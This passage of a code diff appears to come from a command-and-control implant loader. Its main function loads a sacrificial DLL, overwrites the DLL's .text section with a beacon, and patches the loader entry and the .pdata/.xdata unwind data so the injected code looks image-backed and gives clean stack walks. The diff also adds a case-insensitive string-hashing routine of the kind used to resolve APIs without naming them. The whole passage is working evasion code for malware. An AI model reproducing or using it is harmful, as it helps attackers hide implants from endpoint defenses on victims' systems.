* Loads a sacrificial DLL via LoadLibraryExW(DONT_RESOLVE_DLL_REFERENCES),
* stomps the beacon into its .text section so execution happens from
* image-backed memory (IMG type, not PRV).
*
* Additionally patches the LDR entry to look like a normally-loaded DLL
* and stomps valid .pdata/.xdata for clean stack walks. */
#if NAX_STOMP_MODE == NAX_STOMP_MODULE
/* ========= [ LDR entry fixup ] ========= */
#define LDRP_IMAGE_DLL 0x00000004
#define LDRP_LOAD_NOTIFICATIONS_SENT 0x00000008
#define LDRP_PROCESS_STATIC_IMPORT 0x00000020
#define LDRP_ENTRY_PROCESSED 0x00004000
FUNC VOID NaxPatchLdr( PVOID DllBase ) {
PPEB_LDR_DATA Ldr = NtCurrentPeb()->Ldr;
PLIST_ENTRY Head = &Ldr->InLoadOrderModuleList;
PLIST_ENTRY Cur = Head->Flink;
PIMAGE_NT_HEADERS Nt = NaxPeHeaders( DllBase );
if ( !Nt )
return;
while ( Cur != Head ) {
PLDR_DATA_TABLE_ENTRY Entry = (PLDR_DATA_TABLE_ENTRY)Cur;
if ( Entry->DllBase == DllBase ) {
Entry->EntryPoint = C_PTR( U_PTR( DllBase ) + Nt->OptionalHeader.AddressOfEntryPoint );
Entry->Flags |= LDRP_IMAGE_DLL | LDRP_LOAD_NOTIFICATIONS_SENT |
LDRP_PROCESS_STATIC_IMPORT | LDRP_ENTRY_PROCESSED;
return;
}
Cur = Cur->Flink;
}
}
/* ========= [ stomp beacon into DLL .text ] ========= */
FUNC PVOID NaxModuleStomp(
_In_ PVOID HdrPtr,
_In_ PVOID BeaconSrc,
_In_ ULONG BeaconSize,
_In_ PVOID PdataSrc,
_In_ ULONG PdataSize,
_In_ PVOID XdataSrc,
_In_ ULONG XdataSize,
_In_ ULONG OrigTextRva,
_In_ PWCHAR DllName ) {
STARDUST_INSTANCE
PVOID DllBase = { 0 };
SIZE_T ProtSize = { 0 };
ULONG OldProt = { 0 };
/* ========= [ load sacrificial DLL ] ========= */
DllBase = (PVOID)API( LoadLibraryExW )( DllName, NULL, DONT_RESOLVE_DLL_REFERENCES );
if ( !DllBase )
return NULL;
NaxPatchLdr( DllBase );
Instance()->StompDllBase = DllBase;
PIMAGE_NT_HEADERS Nt = NaxPeHeaders( DllBase );
if ( !Nt )
return NULL;
/* ========= [ find .text section (code, execute) ] ========= */
PIMAGE_SECTION_HEADER TextSec = NaxFindSection( Nt, IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE );
if ( !TextSec || TextSec->SizeOfRawData < BeaconSize )
return NULL;
PVOID TextBase = C_PTR( U_PTR( DllBase ) + TextSec->VirtualAddress );
ULONG DllTextRva = TextSec->VirtualAddress;
/* ========= [ save clean .text before stomping ] ========= */
PVOID CleanTextBuf = API( RtlAllocateHeap )( NtCurrentPeb()->ProcessHeap, 0, TextSec->SizeOfRawData );
/* ========= [ stomp beacon into .text ] ========= */
ProtSize = TextSec->SizeOfRawData;
if ( !API( VirtualProtect )( TextBase, ProtSize, PAGE_READWRITE, &OldProt ) )
return NULL;
if ( CleanTextBuf )
MmCopy( CleanTextBuf, TextBase, TextSec->SizeOfRawData );
MmCopy( TextBase, BeaconSrc, BeaconSize );
/* ========= [ write stomp context tag after beacon code ] ========= */
if ( CleanTextBuf && TextSec->SizeOfRawData >= BeaconSize + 4 + sizeof( PVOID ) + sizeof( ULONG ) ) {
PBYTE pTag = (PBYTE)TextBase + BeaconSize;
ULONG magic = NAX_STOMP_CTX_MAGIC;
ULONG cleanSize = TextSec->SizeOfRawData;
MmCopy( pTag, &magic, sizeof( ULONG ) );
MmCopy( pTag + sizeof( ULONG ), &CleanTextBuf, sizeof( PVOID ) );
MmCopy( pTag + sizeof( ULONG ) + sizeof( PVOID ), &cleanSize, sizeof( ULONG ) );
}
ProtSize = TextSec->SizeOfRawData;
if ( !API( VirtualProtect )( TextBase, ProtSize, PAGE_EXECUTE_READ, &OldProt ) )
return NULL;
/* ========= [ stomp .pdata with unwind data ] ========= */
if ( PdataSize > 0 && XdataSize > 0 ) {
PIMAGE_SECTION_HEADER PdataSec = NaxFindSectionByDir( Nt, IMAGE_DIRECTORY_ENTRY_EXCEPTION );
if ( PdataSec && PdataSec->SizeOfRawData >= ( PdataSize + XdataSize ) ) {
PVOID PdataBase = C_PTR( U_PTR( DllBase ) + PdataSec->VirtualAddress );
ULONG PdataRva = PdataSec->VirtualAddress;
ProtSize = PdataSec->SizeOfRawData;
if ( API( VirtualProtect )( PdataBase, ProtSize, PAGE_READWRITE, &OldProt ) ) {
MmCopy( PdataBase, PdataSrc, PdataSize );
MmCopy( C_PTR( U_PTR( PdataBase ) + PdataSize ), XdataSrc, XdataSize );
ULONG XdataRva = PdataRva + PdataSize;
ULONG EntryCount = PdataSize / sizeof( RUNTIME_FUNCTION );
PRUNTIME_FUNCTION Entries = (PRUNTIME_FUNCTION)PdataBase;
for ( ULONG i = 0; i < EntryCount; i++ ) {
Entries[i].BeginAddress += DllTextRva;
Entries[i].EndAddress += DllTextRva;
Entries[i].UnwindData += XdataRva;
}
PVOID HdrBase = DllBase;
SIZE_T HdrSize = LDR_PAGE_SIZE;
ULONG HdrOldPrt = 0;
if ( API( VirtualProtect )( HdrBase, HdrSize, PAGE_READWRITE, &HdrOldPrt ) ) {
Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].VirtualAddress = PdataRva;
Nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION].Size = PdataSize;
API( VirtualProtect )( HdrBase, HdrSize, HdrOldPrt, &HdrOldPrt );
}
ProtSize = PdataSec->SizeOfRawData;
API( VirtualProtect )( PdataBase, ProtSize, OldProt, &OldProt );
}
}
}
return TextBase;
}
#endif /* NAX_STOMP_MODULE */
+53
View File
@@ -0,0 +1,53 @@
#include <Common.h>
/*!
* @brief
* Hashing data
*
* @param String
* Data/String to hash
*
* @param Length
* size of data/string to hash.
* if 0 then hash data til null terminator is found.
*
* @return
* hash of specified data/string
*/
FUNC ULONG HashString(
_In_ PVOID String,
_In_ SIZE_T Length
) {
ULONG Hash = { 0 };
PUCHAR Ptr = { 0 };
UCHAR Char = { 0 };
if ( ! String ) {
return 0;
}
Hash = H_MAGIC_KEY;
Ptr = ( ( PUCHAR ) String );
do {
Char = *Ptr;
if ( ! Length ) {
if ( ! *Ptr ) break;
} else {
if ( U_PTR( Ptr - U_PTR( String ) ) >= Length ) break;
if ( !*Ptr ) ++Ptr;
}
if ( Char >= 'a' ) {
Char -= 0x20;
}
Hash ^= Char;
Hash *= H_MAGIC_PRIME;
++Ptr;
} while ( TRUE );
return Hash;
}

Some files were not shown because too many files have changed in this diff Show More